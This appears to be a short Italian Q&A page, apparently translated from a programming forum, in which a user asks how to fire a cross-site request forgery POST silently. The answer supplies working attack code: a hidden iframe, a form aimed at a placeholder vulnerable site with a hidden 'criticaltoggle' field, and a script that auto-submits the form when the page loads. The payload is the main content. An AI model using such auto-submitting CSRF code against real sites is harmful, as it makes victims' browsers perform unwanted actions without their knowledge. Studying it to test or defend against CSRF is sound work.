2013-07-30 20 views
13

Sono interessato a sapere come è possibile inviare in modalità invisibile un modulo POST per CSRF, senza che l'utente abbia alcun avviso (la posizione del documento che viene reindirizzata all'URL POSTed non è silenzioso).Esempio di invio silenzioso di un FORM POST (CSRF)

Esempio:

<form method='POST' action='http://vulnerablesite.com/form.php'> 
<input type='hidden' name='criticaltoggle' value='true' 
<input type='submit' value='submit'> 
</form> 

su un sito esterno, cosa avrei bisogno di fare per attivare questo modulo automaticamente e silenziosamente?

risposta

32

Una soluzione potrebbe essere quella di aprire l'azione del modulo in un frame come un iframe:

<iframe style="display:none" name="csrf-frame"></iframe> 
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form"> 
    <input type='hidden' name='criticaltoggle' value='true'> 
    <input type='submit' value='submit'> 
</form> 
<script>document.getElementById("csrf-form").submit()</script> 
Problemi correlati